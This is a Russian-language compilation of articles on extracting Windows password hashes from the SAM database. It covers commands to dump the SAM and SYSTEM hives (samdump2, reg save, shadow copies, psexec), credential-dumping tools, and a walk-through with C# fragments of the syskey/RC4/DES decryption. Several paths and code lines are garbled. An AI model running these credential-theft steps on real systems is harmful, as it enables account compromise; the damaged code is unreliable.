Где хранятся хэши паролей

Менеджер учетных записей безопасности (Security Accounts Manager — SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7.

Слегка измененное определение из Википедии:

Менеджер учетных записей безопасности (Security Accounts Manager — SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7. В SAM хранятся хешированные пароли пользователей (в формате LM-хеш или NTLM-хеш). Благодаря тому, что хеш-функция однонаправленная, пароли находятся в относительной безопасности.

Вообще, получение хеша паролей пользователей операционной системы, как правило, один из первых шагов, ведущий к компрометации системы в дальнейшем. Доступ к хешированным паролям дает “зеленый свет” различным атакам, к примеру: использование хеша для SMB-аутентификации в других системах с тем же паролем, анализ парольной политики и распознавание структуры пароля, взлом пароля и.т.п.

Способов получения хешированных паролей из SAM множество, и выбор конкретного способа будет зависеть от того, каким именно доступом к компьютеру жертвы вы обладаете.

Физический доступ

Вышеназванные утилиты, как правило, поставляются со многими дистрибутивами GNU/Linux. Перед получением дампа хешей убедитесь, что вы располагаете этими утилитами.

# bkhive
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

bkhive systemhive keyfile

# samdump2
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
samdump2 samhive keyfile

Пример получения хешей SAM из Windows-раздела /dev/sda1:

# mkdir -p /mnt/sda1
# mount /dev/sda1 /mnt/sda1
# bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved syskey.txt
# samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt

Если же bkhive и samdump2 у вас нет, то можно скопировать SYSTEM и SAM файлы из /mnt/sda1/Windows/System32/config себе на флешку, а затем импортировать файлы с флешки в любую утилиту, позволяющую извлечь хеши SAM: например, Cain & Abel, creddump,mimikatz и.т.п.

Обход приглашения на ввод пароля

Сброс пароля

Использование пост-эксплойтов

C:>psexec.exe -i -s cmd.exe

Есть и другие способы повышения привилегии, но их описание останется вне рамок этого поста.

Методы, основанные на унаследованных возможностях Windows

Также стоит упомянуть утилиту regback.exe из пакета Windows 2000 Resource Kit Tools. Утилита слегка упрощает процесс, так как сливаются только нужные файлы:

C:>regback.exe C:acktempSAM machine sam
C:>regback.exe C:acktempSYSTEM machine system

Если regback.exe не срабатывает, то на системах Windows XP и выше можно воспользоваться утилитами regedit.exe и reg.exe:

C:>reg.exe save HKLMSAM sam
The operation completed successfully
C:>reg.exe save HKLMSYSTEM sys
The operation completed successfully

• Выполнить regedit.exe в Start/Run.
• Открыть ветку ComputerHKEY_LOCAL_MACHINE, правой кнопкой мыши щелкнуть по секции SAM и выбрать “Export” (“Экспортировать”).
• Установить значение параметра “Save as type” (“Тип файла”) в “Registry Hive Files” (“Файлы кустов реестра”).
• Проделать то же самое для куста SYSTEM.

И, наконец, еще один способ: файлы SAM и SYSTEM можно достать из каталога C:Windowsrepair. Но существует вероятность, что в каталоге содержаться устаревшие копии нужных файлов, информация о пользователях в которых неактуальна.

Метод, использующий теневое копирование томов

Для выполнения метода, вы можете воспользоваться cкриптом vssown, который дает возможность управлять теневым копированием.

Список теневых копий:

C:>cscript vssown.vbs /list
Microsoft ^® Windows Script Host Version 5.8
Copyright © Microsoft Corporation. All rights reserved.

Как и ожидалось, сначала никаких теневых копий нет.

Проверим статус службы теневого копирования (VSS):

C:>cscript vssown.vbs /status
Microsoft ^® Windows Script Host Version 5.8
Copyright © Microsoft Corporation. All rights reserved.

C:>cscript vssown.vbs /mode
Microsoft ^® Windows Script Host Version 5.8
Copyright © Microsoft Corporation. All rights reserved.

[*] VSS service set to 'Manual' start mode.

Если тип запуска службы “Вручную”, то нам нужно установить тип запуска в первоначальное состояние (“Остановлена”).

Создадим теневую копию:

C:>cscript vssown.vbs /create
Microsoft ^® Windows Script Host Version 5.8
Copyright © Microsoft Corporation. All rights reserved.

[*] Attempting to create a shadow copy.

Проверим, что теневая копия создалась:

C:>cscript vssown.vbs /list
Microsoft ^® Windows Script Host Version 5.8
Copyright © Microsoft Corporation. All rights reserved.

[*] ID:
[*] Client accessible: True
[*] Count: 1
[*] Device object: \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1
[*] Differnetial: True
[*] Exposed locally: False
[*] Exposed name:
[*] Exposed remotely: False
[*] Hardware assisted: False
[*] Imported: False
[*] No auto release: True
[*] Not surfaced: False
[*] No writers: True
[*] Originating machine: LAPTOP
[*] Persistent: True
[*] Plex: False
[*] Provider ID:
[*] Service machine: LAPTOP
[*] Set ID: <018D7854-5A28-42AE-8B10-99138C37112F>
[*] State: 12
[*] Transportable: False
[*] Volume name: \?Volume<46f5ef63-8cca-11e0-88ac-806e6f6e6963>

Обратите внимание на значение параметров Deviceobject и ID. Значение первого параметра понадобиться для осуществления следующего шага, а значение второго – для очистки.

Достанем следующие файлы из теневой копии:

C:>copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM .C:>copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSAM .

Таким образом, мы только что скопировали файлы SAM и SYSTEM из теневой копии в папку C:
oot.

C:>cscript vssown.vbs /delete

Microsoft ^® Windows Script Host Version 5.8
Copyright © Microsoft Corporation. All rights reserved.

[*] Attempting to delete shadow copy with ID:

И, наконец, остановим службу теневого копирования:

C:>cscript vssown.vbs /stop

Microsoft ^® Windows Script Host Version 5.8
Copyright © Microsoft Corporation. All rights reserved.

[*] Signal sent to stop the VSS service.

Методы, основанные на внедрении в память процессов

Наиболее известным инструментом для получения хешей SAM, вероятно, является утилита fgdump – улучшенная версия pwdump6; обе утилиты разработаны командой foofus. Основное преимущество fgdump над pwdump заключается в возможности работать на системах Windows Vista и выше. Хотя пару раз я видел, как падали обе утилиты. Среди более стабильных и надежных инструментов можно выделить pwdump7 от Андреса Тараско (Andres Tarasco) и gsecdump от TrueSec. Обе утилиты работают на всех версиях Windows, как 32- так и 64-битных. Нужно отметить, что с контроллеров домена слить хеши паролей с помощью утилиты pwdump7 не получится, так как эта утилита вместо внедрения в LSASS читает хеши SAM из реестра. Еще одна надежная и популярная утилита – это PWDumpX, разработанная Ридом Арвином (Reed Arvin), хотя работает PWDumpX только на 32х разрядных системах.

Ниже на скриншоте показан дамп информации из SAM, полученной утилитой gsecdump на Windows Server 2003 SP2 32-bit:

Дамп информации о локальных пользователях после внедрения кода в процесс LSASS

В Metasploit Framework также имеются собственные модули пост-эксплойта, встроенные команды и скрипты для Meterpreter, позволяющие получить хеши SAM. Подробнее о работе кода и о том, какие идеи лежат в его основе можно прочитать в этих постах.

Разумеется, существует и множество других инструментов и методов, и важно знать, какой именно метод подходит для конкретной системы. Чтобы облегчить выбор, я создал сводную электронную таблицу, в которой перечислены нужные утилиты, их возможности и принципы работы, и, что самое важное, возможные проблемы при использовании таких утилит.

Изменения на 4 января 2012 г.

• Дэвид Мэлони (David Maloney) добавил в Metasploit Frameworkмодули, позволяющие работать с процессом теневого копирования томов.
• TrueSec обновил gsecdump до версии v.2.0b5. Последняя версия стабильно работает на всех версиях Windows (как на 32х- , так и на 64х-разрядных).

Подписывайтесь на каналы "SecurityLab" в Telegram и Яндекс.Дзен, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.

Что такое хэш паролей и база данных SAM?

SAM предназначен для диспетчера учетных записей безопасности.

База данных SAM является частью Windows.

Операционная система состоит из имени пользователя и пароля в зашифрованном формате, называемом хэшем пароля.

Файл SAM существует в C:/Windows/System32/config в Windows 7/8 / 8.1 / 10.

Если пользователь хочет войти в компьютер, имя пользователя и пароль должны совпадать для аутентификации, введенной пользователем.

Если пользователь набрал неправильное имя пользователя и пароль, аутентификация не удалась.

Алгоритм шифрования при этом NTLM2.

Основная цель SAM — сохранить компьютер и данные перед неавторизованным человеком, например, хакерами.

Но это не полностью работает против профессионального хакера.

Здесь я расскажу вам, как хакер сбрасывает эти хэши паролей из базы данных и узнает пароль, взламывая эти хеши.

Шаг 1. Первый шаг: установите системный раздел Windows

Кликните на Places > Filesystem.

Когда вы щелкнете по файловой системе, раздел windows будет автоматически установлен в каталог /media.

Откройте терминал и введите следующую команду, чтобы достичь местоположении, где была сохранена база данных SAM.

В приведенном выше монтировании значение будет изменено в соответствии с системой, вы можете увидеть это значение, выполнив следующую команду:

Шаг 2: Сбросьте загрузочный ключ

System.txt — это файл, в котором хранится ключ загрузки и / root / Desktop — это место для сохранения файла system.txt.

Шаг 3: Дама хэшей паролей

Хэши паролей извлекаются с комбинацией bootkey и базы данных SAM, этот процесс завершается с помощью утилиты samdump2, найденной в kali linux по умолчанию.

Команда дает следующее:

В реализованной команде база данных SAM и файл system.txt были объединены и создали новый файл hashes.txt

Чтобы увидеть хэши паролей, сдампенные в файл hashes.txt, используйте указанную команду

Измените каталог на /root/Desktop, используя следующую команду:

IШаг 4: John the Ripper средство взлома пароля

По достижении каталога для хэшей используйте выполните john с помощью данной команды

Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывали syskey. Я попытаюсь исправить этот неодостаток, описав все подробности о том где находятся пароли, в каком виде, и как их преобразует утилита syskey.

Существует 2 возможности получения пароля — через реестр, или получив прямой доступ к файлам-кустам реестра. В любом случае нужны будут либо привелегии пользователя SYSTEM, либо хищение заветных файлов, например, загрузившись из другой ОС. Здесь я не буду описывать возможности получения доступа, но в целях исследования нагляднее будет выбрать первый вариант, это позволит не заострять внимание на структуре куста реестра. А запуститься от системы нам поможет утилита psExec от sysinternals. Конечно, для этих целей можно использовать уязвимости windows, но статья не об этом.

V-блок

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В висте и выше LM-хэш не хранится. Для начала посмотрим где искать эти хэши, а потом разберемся что из себя они представляют.

Пароли пользователей, а так же много другой полезной информации хранится в реестре по адресу HKLMSAMSAMDomainsAccountusers[RID]V
, известном как V-блок. Раздел SAM находится в соответствующем файле c:WindowsSystem32configSAM. RID — уникальный идентификатор пользователя, его можно узнать, например заглянув в ветку HKLMSAMSAMDomainsAccountusers
ames (параметр Default, поле — тип параметра). Например, RID учетной записи «Администратор» всегда 500 (0x1F4), а пользователя «Гость» — 501 (0x1f5). Доступ к разделу SAM по умолчанию возможен только пользователю SYSTEM, но если очень хочется посмотреть — запускаем regedit c правами системы:

PsExec.exe -s -i -d regedit.

Чтобы наблюдать V-блок в удобном виде можно, например, экспортировать его в текстовый файл (File-Export в Regedit).
Вот что мы там увидим:

От 0×0 до 0xCC располагаются адреса всех данных, которые находятся в V-блоке, их размеры и некоторая дополнительная информация о данных. Чтобы получить реальный адрес надо к тому адресу, что найдем прибавить 0xCC. Адреса и размеры хранятся по принципу BIG ENDIAN, т.е понадобится инвертировать байты. На каждый параметр отводится по 4 байта, но фактически все параметры умещаются в одном-двух байтах. Вот где искать:

Адрес имени пользователя — 0xС
Длина имени пользователя — 0×10
Адрес LM-хэша — 0×9с
Длина LM-хэша — 0xa0
Адрес NT-хэша — 0xa8
длина NT-хэша — 0xac

В данном случае имя пользователя найдется по смещению 0xd4 + 0xcc и его длина будет 0xc байт.
NT-хэш будет располагаться по смещению 0x12c + 0xcc и его размер (всегда один и тот же) = 0×14.

Еще одна деталь, касающаяся хранения паролей — как к NT- так и к LM-хэшу всегда добавляются спереди 4 байта, назначение которых для меня загадка. Причем 4байта будут присутствовать даже если пароль отключен. В данном случае видно, что длина LM хэша =4 и если посмотреть на его адрес, можно эти 4 байта увидеть несмотря на то что никакого LM-хэша нет.
Поэтому при поиске смещений хэшей смело прибавляем 4 байта к адресу, а при учете размеров — вычитаем. Если удобнее читать код — вот примерно так будет выглядеть поиск адресов с учетом инверсии, лишних четырех байтов и прибавления стартового смещения 0xcc (код C#)

int lmhashOffset = userVblock[0x9c] + userVblock[0x9d] * 0×100 + 4 + 0xcc;
int nthashOffset = userVblock[0xa8] + userVblock[0xa9] * 0×100 + 4 + 0xcc;
int lmhashSize = userVblock[0xa0] + userVblock[0xa1] * 0×100 — 4;
int nthashSize = userVblock[0xac] + userVblock[0xad] * 0×100 — 4;
int usernameOffset = userVblock[0xc] + userVblock[0xd] * 0×100 + 0xcc;
int usernameLen = userVblock[0x10] + userVblock[0x1a] * 0×100;
userVblock — значение HKLMSAMSAMDomainsAccountusers\V в виде массива байт.
Еще про V-блок можно почитать тут.

Алгоритмы

Теперь разберемся в алгоритмах шифрования.
Формирование NT-хэша:
1. Пароль пользователя преобразуется в Unicode-строку.
2. Генерируется MD4-хэш на основе данной строки.
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
Формирование LM-хэша:
1. Пароль пользователя преобразуется в верхний регистр и дополняется нулями до длины 14 байт.
2. Полученная строка делится на две половинки по 7 байт и каждая из них по отдельности шифруется алгоритмом DES. В итоге получаем хэш длиной 16 байт (состоящий из двух независимых половинок длиной по 8 байт).
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.

4. В windows 2000 и выше оба полученых хэша дополнительно шифруются алоритмом RC4 с помощью ключа, известного как «системный ключ» или bootkey, сгенерированого утилитой syskey, и шифруются довольно хитрым образом.

Рассмотрим общую последовательность действий для получения исходного пароля и каждый шаг в отдельности
1. Получаем bootkey, генерируем на его основе ключи для RC4, расшифровываем хэши с помощью RC4
2. Получаем ключи для DES из RID'ов пользователей, расшифровываем хэши DES'ом
3. Полученые хэши атакуем перебором.

Bootkey

Системный ключ (bootkey) разбит на 4 части и лежит в следующих разделах реестра:

HKLMSystemCurrentControlSetControlLsaJD
HKLMSystemCurrentControlSetControlLsaSkew1
HKLMSystemCurrentControlSetControlLsaGBG
HKLMSystemCurrentControlSetControlLsaData

Раздел system находится в файле c:WindowsSystem32configsystem

Следует отметить, что раздел CurrentControlSet является ссылкой на один из разделов controlset и создается в момент загрузки системы. Это значит что не получится его найти в файле system, если система неактивна. Если вы решили искать ключ в файле — необходимо узнать значение ContolSet по умолчанию в HKLMSYSTEMSelectdefault.
например если HKLMSYSTEMSelectdefault = 1 — вместо HKLMSystemCurrentControlSet ищем в HKLMSystemcontrolset001

У каждого ключа реестра есть некий скрытый атрибут, известный как «class». Regedit его так просто не покажет, однако его можно увидеть, например, если экспортировать эти ключи реестра в текстовые файлы. В winapi для получения этого атрибута есть функция RegQueryInfoKey.
Фрагменты хранятся в строковом представлении шестнадцатеричных чисел, причем по принципу BIG ENDIAN (т.е не строка задом наперед, а число).
Например мы обнаружили вот такие записи:

Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaJD
> Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSkew1
> Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaGBG
> Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaData
>

Собраный из четырех частей ключ будет массивом байт:

Далее элементы этого массива переставляются на основе некоторого константного массива p

key[i] = scrambled_key[p[i]];

В нашем примере получится массив:

этот массив и есть так называемый bootkey. Только в шифровании паролей будет учавствовать не он а некий хэш на основе bootkey, фрагментов f-блока и некоторых констант. Назовем его Hashed bootkey.

Hashed bootkey

для получения Hashed bootkey нам понадобятся 2 строковые константы (ASCII):

string aqwerty = "!@#$%^&*() qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
string anum = "0123456789012345678901234567890123456789";
Также понадобится F-блок пользователя (HKLMSAMSAMDomainsAccountusers\F), а именно его 16 байт: F[0x70:0x80]

На основе этих значений, склееных в один большой массив формируем MD5 хэш, который будет являться ключем для шифрования RC4

rc4_key = MD5 (F[0x70:0x80] + aqwerty + bootkey + anum).

Последним шагом для получения hashed bootkey будет rc4 шифрование( или дешифрование — в rc4 это одна и та же функция) полученым ключем фрагмента F-блока F[0x80:0xA0];

Hashed bootkey у нас в руках, осталось научиться с ним правильно обращаться.

Дешифруем пароли с помощью Hashed Bootkey

для паролей LM и NT нам понадобятся еще 2 строковые константы —

string almpassword = "LMPASSWORD";
string antpassword = "NTPASSWORD";

а так же RID пользователя в виде 4х байт (дополненый нулями) и первая половина Hashed Bootkey (hashedBootkey[0x0:0x10]);
Все это склеивается в один массив байт и считается MD5 по правилам:
rc4_key_lm = MD5 (hbootkey[0x0:0x10] +RID + almpassword);
rc4_key_nt = MD5 (hbootkey[0x0:0x10] +RID + antpassword);

полученый md5 хэш — ключ для rc4, которым зашифрованы LM и NT хэши в V-блоке пользователя

userLMpass = RC4 (rc4_key_lm,userSyskeyLMpass);
userNTpass = RC4 (rc4_key_lm,userSyskeyNTpass);

На этом этапе мы получили пароли пользователя в том виде в каком они хранились бы без шифрования syskey, можно сказать, что самое сложное позади. Переходим к следующему шагу

На основе четырех байт RID'а пользователя с помощью некоторых перестановок и побитовых операций создаем 2 ключа DES. Вот функции, которые осуществляют обфускацию (С#):
private byte[] str_to_key (byte[] str) <
byte[] key = new byte[8];
key[0] = (byte)(str[0] >> 1);
key[1] = (byte)(((str[0] & 0×01) > 2));
key[2] = (byte)(((str[1] & 0×03) > 3));
key[3] = (byte)(((str[2] & 0×07) > 4));
key[4] = (byte)(((str[3] & 0x0F) > 5));
key[5] = (byte)(((str[4] & 0x1F) > 6));
key[6] = (byte)(((str[5] & 0x3F) > 7));
key[7] = (byte)(str[6] & 0x7F);
for (int i = 0; i

Ну здесь особо комментировать нечего, кроме функции des_set_odd_parity (ref key) — это одна из функций библиотеки openssl, задача которой добавить некоторые «биты нечетности», используется для повышения стойкости ключа к атакам.

Далее разбиваем NT (или LM) хэш на 2 части по 8 байт и дешифруем DES'ом -одна половина зашифрована ключем сформированым функцией sid_to_key1, вторая — sid_to_key2.
obfskey_l = userNTpass[0x0:0x7]
obfskey_r = userNTpass[0x8:0xF]
byte[] deskey1 = sid_to_key1 (RID);
byte[] deskey2 = sid_to_key2 (RID);
byte[] md4hash_l = DES (obfskey_l, deskey1);
byte[] md4hash_r = DES (obfskey_r, deskey2);

После склеивания двух половин мы получим md4 хэш -в случае NT, или LanMan (DES) — в случае LM. Полученый хэш полностью готов к атаке перебором.
Кстати, md4 Хэш от пустого пароля — 31d6cfe0d16ae931b73c59d7e0c089c0

Исследование проведено на основе исходного кода ophcrack-3.3.1, а так же статьи Push the Red Button:SysKey and the SAM